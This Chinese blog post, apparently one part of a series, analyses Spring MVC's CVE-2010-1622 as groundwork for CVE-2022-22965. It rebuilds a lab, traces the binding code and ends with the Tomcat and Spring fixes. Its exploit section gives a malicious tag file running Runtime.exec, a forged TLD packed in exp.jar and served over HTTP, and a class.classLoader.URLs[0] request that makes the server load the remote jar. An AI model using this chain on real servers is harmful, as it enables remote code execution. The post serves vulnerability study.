浅谈CVE-2022-22965漏洞成因(五)

admin 2022年6月30日01:57:56SecIN安全技术社区浅谈CVE-2022-22965漏洞成因(五)已关闭评论26 views14111字阅读47分2秒阅读模式

前言:记录一篇自己入门java安全的故事,捋一下思路,轻量知识 ,重在调试 !

.

这篇文章四个部分:

引入篇:整理一下CVE-2022-22965漏洞的来龙去脉

基础篇:回顾Java中一些基础的内容

调试篇:阅读Spring MVC部分源码

分析篇:分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因

.

分析篇

( 紧接" 浅谈CVE-2022-22965漏洞成因(四)”,复现并分析一下CVE-2010-1622漏洞成因 )

CVE-2010-1622漏洞复现与分析

最开始我们就提到Spring MVC框架的变量覆盖问题一直存在,在CVE-2010-1622中利用巧妙的方法直接导致RCE,我们来分析一下漏洞的具体的成因。

1、环境搭建

先把环境搭建一下(Spring3.0.0 + jdk1.6 + Tomcat 6.0.20)

pojo部分:

```
package pojo;
public class UserInfo {
private String id ;
private User user=new User();

public String getId() {
    return id;
}
public User getUser() {
    return user;
}
public void setId(String id) {
    this.id = id;
}

}

package pojo;
public class User {

private String nick;
private String hobby;
private String fruit[] = new String[]{"apple"};


public String getNick() {
    return nick;
}
public String getHobby() {
    return hobby;
}

public String[] getFruit() {
    return fruit;
}
public void setNick(String nick) {
    this.nick = nick;
}

}
```

控制器部分:

```
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import pojo.User;
import pojo.UserInfo;

@Controller
@RequestMapping(value = "/level")
public class FirstController {
@RequestMapping(value = "/hello")
public String hello(Model model, User user) {

    model.addAttribute("user",user);
    model.addAttribute("nick", user.getNick());
    System.out.println("hello!");
    return "hello";

}
@RequestMapping(value = "/welcome")
public String welcome() {
    System.out.println("welcome!");
    return "welcome";

}

    @RequestMapping(value = "/info", method = RequestMethod.GET)
public String  test(UserInfo userInfo) {

    System.out.println("id:"+userInfo.getId());

    System.out.println("user.nick:"+userInfo.getUser().getNick());

    System.out.println("user.hobby:"+userInfo.getUser().getHobby());

    System.out.println("user.fruit:"+userInfo.getUser().getFruit()[0]);

    System.out.println("class:"+userInfo.getClass());

    System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());

    return "info";
}

}
```

jsp部分:

```
hello.jsp
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>

Hello

<form:input path="nick"/>

info.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


Info

Info



```

运行起来后的效果为

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

2、变量覆盖问题复现

尝试一下变量覆盖问题,可以发现user.fruit被成功赋值

http://localhost:8080/SpringMVC/level/info?id=1&user.nick=isee&user.hobby=eat&user.fruit[0]=orange

浅谈CVE-2022-22965漏洞成因(五)

再者,还可以发现,Spring MVC 框架支持嵌套赋值,以及,即使Bean中没有class这个属性,控制器处理方法依然获取到了class这个属性以及打印出了它的值

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

3、调试Spring MVC框架获取Bean属性的过程

首先,在变量覆盖问题上,Spring MVC版本3和版本5都一样,都是数组变量直接调用了底层赋值,虽然Spring MVC版本3和版本5在内部的实现上差别还是很大的,但本质上都差不多,我们来看看获取到class属性的原因(实际上,前面调试时,我们也有提到)

.

我们请求的参数是id=1&user.nick=isee&user.hobby=eat&user.fruit[0]=orange,Spring MVC 首次解析后的参数列表为:

浅谈CVE-2022-22965漏洞成因(五)

从AbstractPropertyAccessor的setPropertyValues方法起。开始每个参数的解析与绑定

浅谈CVE-2022-22965漏洞成因(五)

我们需要绑定的参数总共有4个

浅谈CVE-2022-22965漏洞成因(五)

#54 this.setPropertyValue(pv)

AbstractPropertyAccessor中的setPropertyValue最终的实现在BeanWrapperlmpl里

浅谈CVE-2022-22965漏洞成因(五)

也就是说涉及Bean的修改的过程都与BeanWrapperlmpl有关

#601 nestedBw.setPropertyValue(tokens, pv)

直接看BeanWrapperlmpl的nestedBw.setPropertyValue方法,由于tokens.key=null,将直接跳到nestedBw.setPropertyValue方法的#720行这里,这里有具体的获取一个PropertyDescriptor的逻辑

.

#722 pd = this.getCachedIntrospectionResults().getPropertyDescriptor(actualName)可以看出,PropertyDescriptor是从CachedIntrospectionResults里拿的值

浅谈CVE-2022-22965漏洞成因(五)

我们看看CachedIntrospectionResults是怎么来的

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

到这里就清晰明了了,CachedIntrospectionResults是通过内省来获取一个Bean的所有信息的

.

再有就是,这里也可以发现,内省一个实际就是获取到这个Bean相关的所有方法,到beanInfo.getPropertyDescriptors这步才会获取到Bean的所有PropertyDescriptor

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

后面赋值的流程与最开始调试Spring MVC版本5时的类似,这里直接看数组这个变量覆盖问题即可

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

补上两张Ruilin 师傅的图:

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

到这里,我们就清楚为什么“Bean中没有class这个属性,控制器处理方法依然获取到了class这个属性以及打印出了它的值”这个疑惑了,以及Spring MVC版本3的这个变量覆盖问题。

.

4、复现利用ClassLoader造成RCE

下面来看看在Spring MVC版本3中是如何利用这个变量覆盖问题产生漏洞的

.

我们来思考几个问题,通过这几个问题来把握CVE-2010-1622这个漏洞的成因。

.

第一个问题:既然可以通过变量覆盖问题修改数组变量,那么修改什么样的变量会产生漏洞问题?

修改ClassLoader相关的。ClassLoader是一个类加载器,主要就是用来加载类的,即,把一个.class文件加载进JVM内存中。

Java中默认提供BootStrap ClassLoader,Extension ClassLoader和App ClassLoader这三个,也可以自己实现ClassLoader,但它们都要继承自java.lang.ClassLoader这个类(除BootStrap ClassLoader)。

也就是说通过修改ClassLoader我们可以加载任意一个类,包括一个本地或远程的恶意类。

.

第二个问题:这个变量覆盖问题只对数组变量有效,我们要修改那个数组变量?

答案便是URLs[],准确的说是class.classLoader.URLs[0],即classLoader要通过加载URLs[]来加载类

.

第三个问题:后端处理器方法参数中不一定有class这个参数,我们能获取到class这个参数吗?

.

实际上,Spring MVC能否对一个参数绑定成功并不仅仅是通过后端处理器方法是否定义该参数来决定的,更准确的说是又如下两点决定的:

  • 内省一个类时是否有请求传参对应的Bean属性
  • 反射执行时是否能成功调用到Bean属性的getter/setter方法

通过内省获取到的属性最终会被保存到CachedIntrospectionResult这个缓存中,用户请求的参数会先从CachedIntrospectionResult中,找到后会继续判断该Bean属性是否可读可写,即是否有getter/setter方法,如果都满足了,才有可能绑定成功。

.

而CachedIntrospectionResult中存在class属性是一定,因为Spring MVC框架内部内省一个类采用的是不设限的方式,这样内省时就会访问到Object的getClass方法并最终在CachedIntrospectionResult中加了一个class,这也就意味着我们可能递归访问到class.classLoader.URLs[]变量,又因为class.classLoader.URLs[]可读可写,所以,可以修改成功!

.

下面直接利用这个变量覆盖漏洞让classLoader加载个恶意类

写上一个恶意类:

```
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("calc");
%>


<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
    <name>form</name>
    <path>/META-INF/tags/InputTag.tag</path>
</tag-file>


```

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

python起个web服务模拟远程服务器

python -m http.server 9999

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

利用变量覆盖加载恶意类

http://localhost:8080/SpringMVC/level/hello?class.classLoader.URLs[0]=jar:http://localhost:9999/exp.jar!/

浅谈CVE-2022-22965漏洞成因(五)

浅谈CVE-2022-22965漏洞成因(五)

.

5、攻击手法分析

这里主要看看exp.jar执行过程

.

我们知道,jsp文件和html文件都是为前端页面数据展示而设计的,虽然两者的语法和结构很像,但是两者不同的是,jsp文件是专门为Java环境设计的

  • jsp除了可以嵌入JavaScript代码,还可以嵌入Java代码
  • Java代码更多的是以标签的形式嵌入的
  • 标签是Java实现特定功能的封装
  • jsp本身也是一个Servlet,是一个java文件

(特殊的,一个Tag文件也可以被当做一个jsp,但略有不同)

.

在Jsp中除了基础的标签库外,还支持自定义标签,自定义标签被jsp引用后便可以使用其特定的功能。Tag文件可以被当做自定义标签的一部分,里面可以封装一些功能。

除此之外还有Tld标签描述符,就是用来对各个Tag文件作格式规范与解释说明的,这里我们仅需知道以下一点即可:

Jsp中使用自定义标签->对应的标签描述符Tld->对应的功能Tag

hello.jsp使用了标签功能,引入了标签库,便可以使用标签库的功能,简化代码量

浅谈CVE-2022-22965漏洞成因(五)

这个标签库的位置如下:

浅谈CVE-2022-22965漏洞成因(五)

对应的标签描述符Tld文件如下:

浅谈CVE-2022-22965漏洞成因(五)

那么如果我们仿造这个Tld并让它对应一个恶意功能的tag文件,并把它打成jar包,那么如果这个恶意jar被加载并替换掉了原本要引用的Tld文件,在渲染jsp页面过程中,Spring会通过Jasper中的TldLocationsCache类从WebappClassLoader里面读取url参数,并在初始化时通过scanJars方法依次读取并加载

浅谈CVE-2022-22965漏洞成因(五)

.

当hello.jsp引用恶意tld文件的功能后就会执行攻击者自定义的恶意tag文件,就会产生漏洞问题。

.

最后,我们来看看ViewRwsolver视图解析渲染流程中,恶意文件是如何在本地存储的:

浅谈CVE-2022-22965漏洞成因(五)

可以看到jsp就是一个servlet,最后生成是一个java文件

hello_jsp.java:

```
package org.apache.jsp.WEB_002dINF;

import javax.servlet.;
import javax.servlet.http.
;
import javax.servlet.jsp.*;

public final class hello_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {

private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

private static java.util.List _jspx_dependants;

static {
_jspx_dependants = new java.util.ArrayList(2);
_jspx_dependants.add("jar:http://localhost:9999/exp.jar!/META-INF/spring-form.tld");
_jspx_dependants.add("jar:http://localhost:9999/exp.jar!/META-INF/tags/InputTag.tag");
}

private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;

public Object getDependants() {
return _jspx_dependants;
}

public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}

public void _jspDestroy() {
}

public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {

PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;


try {
  response.setContentType("text/html");
  pageContext = _jspxFactory.getPageContext(this, request, response,
  null, true, 8192, true);
  _jspx_page_context = pageContext;
  application = pageContext.getServletContext();
  config = pageContext.getServletConfig();
  session = pageContext.getSession();
  out = pageContext.getOut();
  _jspx_out = out;

  out.write("\r\n");
  out.write("\r\n");
  out.write("<h1>Hello</h1>\r\n");
  if (_jspx_meth_form_005fform_005f0(_jspx_page_context))
    return;
  out.write('\r');
  out.write('\n');
} catch (Throwable t) {
  if (!(t instanceof SkipPageException)){
    out = _jspx_out;
    if (out != null && out.getBufferSize() != 0)
      try { out.clearBuffer(); } catch (java.io.IOException e) {}
    if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
  }
} finally {
  _jspxFactory.releasePageContext(_jspx_page_context);
}

}

private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// form:form
org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005fform_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();
org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);
_jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context);
// /WEB-INF/hello.jsp(10,0) null
_jspx_th_form_005fform_005f0.setDynamicAttribute(null, "commandName", new String("user"));
_jspx_th_form_005fform_005f0.setJspBody(new Helper( 0, _jspx_page_context, _jspx_th_form_005fform_005f0, null));
_jspx_th_form_005fform_005f0.doTag();
org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);
return false;
}

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// form:input
org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();
org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
_jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);
_jspx_th_form_005finput_005f0.setParent(_jspx_parent);
// /WEB-INF/hello.jsp(12,4) null
_jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));
_jspx_th_form_005finput_005f0.doTag();
org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
return false;
}

private class Helper
extends org.apache.jasper.runtime.JspFragmentHelper
{
private javax.servlet.jsp.tagext.JspTag _jspx_parent;
private int[] _jspx_push_body_count;

public Helper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) {
  super( discriminator, jspContext, _jspx_parent );
  this._jspx_parent = _jspx_parent;
  this._jspx_push_body_count = _jspx_push_body_count;
}
public boolean invoke0( JspWriter out ) 
  throws Throwable
{
  out.write("\r\n");
  out.write("\r\n");
  out.write("    ");
  if (_jspx_meth_form_005finput_005f0(_jspx_parent, _jspx_page_context))
    return true;
  out.write("\r\n");
  out.write("\r\n");
  return false;
}
public void invoke( java.io.Writer writer )
  throws JspException
{
  JspWriter out = null;
  if( writer != null ) {
    out = this.jspContext.pushBody(writer);
  } else {
    out = this.jspContext.getOut();
  }
  try {
    this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);
    switch( this.discriminator ) {
      case 0:
        invoke0( out );
        break;
    }
  }
  catch( Throwable e ) {
    if (e instanceof SkipPageException)
        throw (SkipPageException) e;
    throw new JspException( e );
  }
  finally {
    if( writer != null ) {
      this.jspContext.popBody();
    }
  }
}

}
}

```

InputTag_tag.java:

```
package org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form;

import javax.servlet.;
import javax.servlet.http.
;
import javax.servlet.jsp.*;

public final class InputTag_tag
extends javax.servlet.jsp.tagext.SimpleTagSupport
implements org.apache.jasper.runtime.JspSourceDependent,
javax.servlet.jsp.tagext.DynamicAttributes {

private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

private static java.util.List _jspx_dependants;

private JspContext jspContext;
private java.io.Writer _jspx_sout;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;

public void setJspContext(JspContext ctx) {
super.setJspContext(ctx);
java.util.ArrayList _jspx_nested = null;
java.util.ArrayList _jspx_at_begin = null;
java.util.ArrayList _jspx_at_end = null;
this.jspContext = new org.apache.jasper.runtime.JspContextWrapper(ctx, _jspx_nested, _jspx_at_begin, _jspx_at_end, null);
}

public JspContext getJspContext() {
return this.jspContext;
}
private java.util.HashMap _jspx_dynamic_attrs = new java.util.HashMap();

public void setDynamicAttribute(String uri, String localName, Object value) throws JspException {
if (uri == null)
_jspx_dynamic_attrs.put(localName, value);
}
public Object getDependants() {
return _jspx_dependants;
}

private void _jspInit(ServletConfig config) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(config.getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) config.getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}

public void _jspDestroy() {
}

public void doTag() throws JspException, java.io.IOException {
PageContext _jspx_page_context = (PageContext)jspContext;
HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest();
HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse();
HttpSession session = _jspx_page_context.getSession();
ServletContext application = _jspx_page_context.getServletContext();
ServletConfig config = _jspx_page_context.getServletConfig();
JspWriter out = jspContext.getOut();
_jspInit(config);
jspContext.getELContext().putContext(JspContext.class,jspContext);
_jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs);
try {
out.write('\r');
out.write('\n');

java.lang.Runtime.getRuntime().exec("calc");

} catch( Throwable t ) {
  if( t instanceof SkipPageException )
      throw (SkipPageException) t;
  if( t instanceof java.io.IOException )
      throw (java.io.IOException) t;
  if( t instanceof IllegalStateException )
      throw (IllegalStateException) t;
  if( t instanceof JspException )
      throw (JspException) t;
  throw new JspException(t);
} finally {
  jspContext.getELContext().putContext(JspContext.class,super.getJspContext());
  ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile();
}

}
}

```

InputTag.tag中的doTag()方法最后执行了任意命令

浅谈CVE-2022-22965漏洞成因(五)

.

6、修复方法

之后的修复方式有两个一个是Tomcat官方的和Spring官方的

Tomcat: tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

浅谈CVE-2022-22965漏洞成因(五)

Spring:在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

浅谈CVE-2022-22965漏洞成因(五)

.

最后我们要分析的CVE-2022-22965就是Spring官方修补的绕过。

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:57:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  浅谈CVE-2022-22965漏洞成因(五) http://cn-sec.com/archives/1148881.html